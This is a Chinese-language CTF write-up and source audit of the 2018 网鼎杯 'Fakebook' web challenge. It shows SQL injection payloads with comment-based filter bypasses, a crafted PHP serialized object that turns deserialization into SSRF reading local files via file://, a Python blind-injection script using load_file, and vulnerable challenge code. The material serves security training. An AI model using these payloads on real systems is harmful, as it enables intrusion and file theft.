[原题复现+审计][网鼎杯 2018] WEB Fakebook(SSRF、反序列化、SQL注入)
简介
原题复现:
考察知识点:SSRF、反序列化、SQL注入
线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题
过程
分析了整体结构 点击jion可以添加账号还有博客地址添加OK之后会有ifram把你的博客地址引用到当前页面 jion添加的信息点击进入发现了get注入点 注入进去没flag 不过在data字段下发现了序列化的值
/view.php?no=1 and 1=1
/view.php?no=1 and 1=2
/view.php?no=1 order by 5
//发现过滤了union select 使用注释绕过
/view.php?no=-1 union/**/select 1,2,3,4
/view.php?no=-1 union/**/select 1,database(),3,4
//得到数据库数据fakebook
/view.php?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
//得到表名数据:users
/view.php?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'
//得到字段数据:no,username,passwd,data
/view.php?no=-1 union/**/select 1,group_concat(data),3,4 from users
//得到data字段下数据:O:8:"UserInfo":3:{s:4:"name";s:7:"xiaohua";s:3:"age";i:12;s:4:"blog";s:9:"baidu.com";}
到这里没思路了 因为我用的扫描器都没扫出什么 最后看wp才知道 robots.txt里面有东西(常识啊!!! 还是太懒。。。主要靠工具了。。)
下载源码查看
<?php class UserInfo
{
public $name = "";
public $age = 0;
public $blog = ""; public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
} function get($url)
{
$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch); return $output;
} public function getBlogContents ()
{
return $this->get($this->blog);
} public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
} } }
根据源码构造序列化
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
}
$a = new UserInfo();
$a->name = 'admin888';
$a->age = 12;
$a->blog = 'file:///var/www/html/user.php';
echo serialize($a);
?>
O:8:"UserInfo":3:{s:4:"name";s:8:"admin888";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/user.php";}
在测试的时候我们发现这里有个反序列化 看WP可以通过这个为止将我们的序列化传进去 系统将会进行反序列化之后我们传入的blog值将会被传递到页面ifram里面 这样就造成SSRF攻击!得到我们想要的页面 我们可以传入flag的页面拿到flag
最终payload:
http://b79a2b86-e971-4c1c-9ada-9f681aebe66f.node3.buuoj.cn/view.php?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
查看源码获得flag
非预期解决方法
还是看wp的
因为没过滤load_file sql load_file读取。。。。。。。
脚本、
import requests url = 'http://6b666407-dc94-41fa-9666-7d5d977b469d.node1.buuoj.cn/view.php?no='
result = '' for x in range(0, 100):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
payload = "if(ascii(substr((load_file('/var/www/html/flag.php')),%d,1))>%d,1,0)" % (x, mid)
response = requests.get(url + payload)
if 'www.123.com' in response.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2 result += chr(int(mid))
print(result)
程序代码审计
index.php页面
<?php session_start(); ?>
<?php require_once 'db.php'; ?>
<?php require_once 'user.php'; ?>
<?php $flag = "FLAG{flag is in your mind}"; $db = new DB();
$user = new UserInfo(); ?>
<!doctype html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport"
content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Fakebook</title> <?php include 'bootstrap.php'; ?> </head>
<body>
<div class="container">
<h1>the Fakebook</h1>
<?php if (!isset($_SESSION['username'])) {
$message = "<div class='row'>";
$message .= "<div class='col-md-2'><a href='login.php' class='btn btn-success'>login</a></div>";
$message .= "<div class='col-md-2'><a href='join.php' class='btn btn-info'>join</a></div>";
$message .= "</div>"; echo $message;
} ?>
<p>Share your stories with friends, family and friends from all over the world on <code>Fakebook</code>.</p> <table class="table">
<tr>
<th>#</th>
<th>username</th>
<th>age</th>
<th>blog</th>
</tr>
<?php foreach ($db->getAllUsers() as $user) //调用db里面的方法 getAllUsers()
{
$data = unserialize($user['data']); echo "<tr>";
echo "<td>{$user['no']}</td>";
echo "<td><a href='view.php?no={$user['no']}'>{$user['username']}</a></td>";
echo "<td>{$data->age}</td>";
echo "<td>{$data->blog}</td>";
echo "</tr>\n";
} ?>
</table>
</div>
获得$db->getAllUsers()数据之后循环 输出在页面之中 53行将数据反序列化序列化输出到页面之中 我们可以在首页看到 我们注册完一个用户之后 data对应的是blog就是我们的博客 也就是说我们注册用户所填写的博客地址存进数据库时就被序列化了用的时候再取出来反序列化一下 展示在页面之中
发现getAllusers()先追溯一下 在db.php页面
db.php页面 这个函数的功能 查询数据表users 之后返回出去
join.ok.php(注册页面)
这个程序10行实例化一个DB对象() ob对象存在于 db.php页面中往下审计db.php页面之后再回来
12-15行获取我们join.php页面表单传输过来的值
17行实例化了userinfo对象UserInfo存在于user.php页面之中往下拉先审计user.php页面之后再回来
然后进行一系列判断 可以追溯到user.php页面中的对应函数 判断博客地址符不符合正则匹配 不符合则弹窗!
第二个判断isValidUsername() 这个函数存在于db.php页面 是查询有没有这个用户如果有则弹窗
第31行使用db.php里面的insertUser()函数将输入插入进数据库中
之后复合所有规则则使用insertUser()将数据插入数据库中 追溯到insesrtUser可以看到将我们传进去的$user变量里面存储的是博客地址进行了序列化。
33行执行login()函数进行登录
先追溯DB()对象 在db.php页面
db.php页面整体代码
<?php require_once 'lib.php';
$mysqli = new mysqli('127.0.0.1', 'root', 'naiwjebfahjebfja', 'fakebook'); class DB { function __construct() {
// $mysqli = new mysqli('localhost', 'root', '!@#1234!@#', 'fakebook');
} //查询用户的函数
public function isValidUsername($username) {
global $mysqli;
$query = "select * from users where username = '{$username}'";
$res = $mysqli->query($query);
if (!$res->fetch_array()) {
return 1;
} else {
return 0;
} } //登陆的函数
function login($username, $passwd) {
global $mysqli; $username = addslashes($username);
$passwd = sha512($passwd);
$query = "select * from users where username = '{$username}' and passwd = '{$passwd}'";
$res = $mysqli->query($query); return $res->fetch_array();
} //将数据插入到数据库中
function insertUser($username, $passwd, $data) {
global $mysqli; $username = substr($username, 0, 100);
$username = addslashes($username);
$passwd = sha512($passwd);
$data = serialize($data); //将data数据序列化存储
$data = addslashes($data); $query = "insert into users (username, passwd, data) values ('{$username}', '{$passwd}', '{$data}')";
return $mysqli->real_query($query);
} //查询整个users表
public function getAllUsers() {
global $mysqli; $query = "select * from users";
$res = $mysqli->query($query);
return $res->fetch_all(MYSQLI_ASSOC);
} //获取指定数据库中的用户
public function getUserByNo($no) {
global $mysqli; // $no = addslashes($no);
$query = "select * from users where no = {$no}";
$res = $mysqli->query($query);
if (!$res) {
echo "<p>[*] query error! ({$mysqli->error})</p>";
} return $res->fetch_assoc();
}
//SQL黑名单
public function anti_sqli($no) {
$patterns = "/union\Wselect|0x|hex/i"; return preg_match($patterns, $no);
} } /*
CREATE TABLE `users` ( `no` INT NOT NULL AUTO_INCREMENT , `username` VARCHAR(100) NOT NULL , `passwd` VARCHAR(128) NOT NULL , `data` TEXT NOT NULL , PRIMARY KEY (`no`)) ENGINE = MyISAM; */
user.php
简单审计...... 看完之后继续回到刚才的join.ok.php继续设计
<?php class UserInfo
{
public $name = "";
public $age = 0;
public $blog = ""; public function __construct($name, $age, $blog)//当程序被实例化时执行_construct
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
} //此处存在SSRF漏洞 如果我们使用file:///读取文件将会造成SSRF漏洞!!!
function get($url)
{
$ch = curl_init(); //初始化一个cURL会话 curl_setopt($ch, CURLOPT_URL, $url); //设置一个cURL传输选项。
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //CURLOPT_RETURNTRANSFER:将curl_exec()获取的信息以文件流的形式返回,而不是直接输出
$output = curl_exec($ch); //执行一个curl_exec会话
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);//获取一个cURL连接资源句柄的信息
if($httpCode == 404) {
return 404;
}
curl_close($ch);//关闭一个一个curl_exec会话 return $output;
} public function getBlogContents (//将当前获取到的博客地址传进get()函数里面
{
return $this->get($this->blog);
} public function isValidBlog () //判断输入的博客地址符不符合正则匹配
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
View.php
页面整体代码
<?php session_start(); ?>
<?php require_once 'db.php'; ?>
<?php require_once 'user.php'; ?>
<?php require_once 'error.php'; ?>
<?php $db = new DB(); ?>
<!doctype html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport"
content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>User</title> <?php require_once 'bootstrap.php'; ?>
</head>
<body>
<?php $no = $_GET['no'];
if ($db->anti_sqli($no))
{
die("no hack ~_~");
} $res = $db->getUserByNo($no);
$user = unserialize($res['data']);
//print_r($res); ?>
<div class="container">
<table class="table">
<tr>
<th>
username
</th>
<th>
age
</th>
<th>
blog
</th>
</tr>
<tr>
<td>
<?php echo $res['username']; ?>
</td>
<td>
<?php echo $user->age; ?>
</td>
<td>
<?php echo xss($user->blog); ?>
</td>
</tr>
</table> <hr>
<br><br><br><br><br>
<p>the contents of his/her blog</p>
<hr>
<?php $response = $user->getBlogContents();
if ($response === 404)
{
echo "404 Not found";
} else
{
$base64 = base64_encode($response);
echo "<iframe width='100%' height='10em' src='data:text/html;base64,{$base64}'>";
// echo $response;
} // var_dump($user->getBlogContents());
?> </div>
</body>
</html>
24行接收get传进来值
25行使用db函数中的anti_sqli()函数进行过滤 这个函数过滤了union select|0x|hex这三个 滞后使用getUserByNo()函数进行数据查询 这里存在SQL注入漏洞
31行将查询到的data数据进行序列化显示!
67行执行user.php里面的getBlogContent()函数 如果返回404则页面不存在否则使用iframe输出到页面之中 这里存在SSRF漏洞
审计完总结:view页面存在get注入漏洞:通过sql可以简单绕过黑名单限制进行SQL注入
join页面存在post注入漏洞
在页面中直接提交file///etc/passwd 因为有正则匹配无法造成SSRF漏洞 但是我们可以借用sql配合使用SSRF获取我们想要的文件 本地序列化一个值然后通过SQL注入代入进去在位置4放入我们的序列化值因为位置4有个反序列化所以我们序列化的值进行反序列化的时候就可以成功执行file///etc/passwd 。
参考学习:https://www.cnblogs.com/20175211lyz/p/11469695.html
https://xz.aliyun.com/t/2607
[原题复现+审计][网鼎杯 2018] WEB Fakebook(SSRF、反序列化、SQL注入)的更多相关文章
- 【网鼎杯2018】fakebook
解题过程: 首先进行目录扫描,发现以下目录: user.php.bak login.php flag.php user.php robots.txt user.php.bak猜测存在源码泄露. 查看源 ...
- 刷题记录:[网鼎杯]Fakebook
目录 刷题记录:[网鼎杯]Fakebook 一.涉及知识点 1.敏感文件泄露 2.sql注入 二.解题方法 刷题记录:[网鼎杯]Fakebook 题目复现链接:https://buuoj.cn/cha ...
- [网鼎杯 2018]Comment
[网鼎杯 2018]Comment 又遇到了一道有意思的题目,还是比较综合的,考的跟之前有一道很相像,用的还是二次注入. 因为找不到登陆点的sql注入,所以扫了一下源码,发现是存在git泄露的. [2 ...
- [原题复现+审计][ZJCTF 2019] WEB NiZhuanSiWei(反序列化、PHP伪协议、数组绕过)
简介 原题复现:https://github.com/CTFTraining/zjctf_2019_final_web_nizhuansiwei/ 考察知识点:反序列化.PHP伪协议.数组绕过 ...
- [原题复现+审计][BUUCTF 2018]WEB Online Tool(escapeshellarg和escapeshellcmd使用不当导致rce)
简介 原题复现:https://github.com/glzjin/buuctf_2018_online_tool (环境php5.6.40) 考察知识点:escapeshellarg和escap ...
- [原题复现+审计][RoarCTF 2019]Easy Calc(http协议走私、php字符串解析漏洞)
简介 原题复现: 考察知识点:http协议走私.php字符串解析漏洞 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到 ...
- [原题复现+审计][CISCN2019 华北赛区 Day1 Web2]ikun(逻辑漏洞、JWT伪造、python序列化)
简介 原题复现: 考察知识点:逻辑漏洞.JWT伪造.python反序列化 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台 ...
- [原题复现+审计][0CTF 2016] WEB piapiapia(反序列化、数组绕过)[改变序列化长度,导致反序列化漏洞]
简介 原题复现: 考察知识点:反序列化.数组绕过 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 漏洞学习 数组 ...
- [原题复现+审计][SUCTF 2019] WEB CheckIn(上传绕过、.user.ini)
简介 原题复现:https://github.com/team-su/SUCTF-2019/tree/master/Web/checkIn 考察知识点:上传绕过..user.ini 线上平台:h ...
随机推荐
- Cypress系列(67)- 环境变量设置指南
如果想从头学起Cypress,可以看下面的系列文章哦 https://www.cnblogs.com/poloyy/category/1768839.html 常见的环境变量设置方式 可参考这篇文章: ...
- 【Flutter 混合开发】与原生通信-MethodChannel
Flutter 混合开发系列 包含如下: 嵌入原生View-Android 嵌入原生View-iOS 与原生通信-MethodChannel 与原生通信-BasicMessageChannel 与原生 ...
- MySql中varchar和char,如何选择合适的数据类型?
背景 学过MySQL的同学都知道MySQL中varchar和char是两种最主要的字符串类型,varchar是变长的类型,而char是固定长度.那关于如何选择类型就成为令人头疼的事,很多初学者为了保证 ...
- 异常java.lang.IllegalArgumentException: An invalid character [32] was present in the Cookie value
通过HttpServletResponse的addCookie(Cookie cookie)向客户端写cookie信息,这里使用的tomcat版本是8.5.31,出现如下报错: java.lang.I ...
- elastic后台运行
nohup./bin/elasticsearch&
- D. Serval and Rooted Tree (樹狀DP)
Codeforce 1153D Serval and Rooted Tree (樹狀DP) 今天我們來看看CF1153D 題目連結 題目 給一棵數,假設有$k$個葉節點,我們可以給葉節點分配$1$~$ ...
- Appium常用操作之「元素定位、swipe 滑屏操作」
坚持原创输出,点击蓝字关注我吧 作者:清菡 博客:oschina.云+社区.知乎等各大平台都有. 目录 一.打开 uiautomatorviewer 二.Appium 常用操作 1.用 layui 做 ...
- 01 . Go之Gin+Vue开发一个线上外卖应用
项目介绍 我们将开始使用Gin框架开发一个api项目,我们起名为:云餐厅.如同饿了么,美团外卖等生活服务类应用一样,云餐厅是一个线上的外卖应用,应用的用户可以在线浏览商家,商品并下单. 该项目分为客户 ...
- 浅析 JIT 即时编译技术
即时编译回顾 HotSpot 虚拟机执行 Java 程序时,先通过解释器对代码解释执行,发现某个方法或代码块执行比较频繁后,对热点代码进行编译,编译后生成与本地平台相关的机器码,再去执行机器码获得较高 ...
- Java创建二叉树、二叉树的遍历
创建二叉树: public class Node { // 左子节点 public Node leftNode; // 右子节点 public Node rightNo ...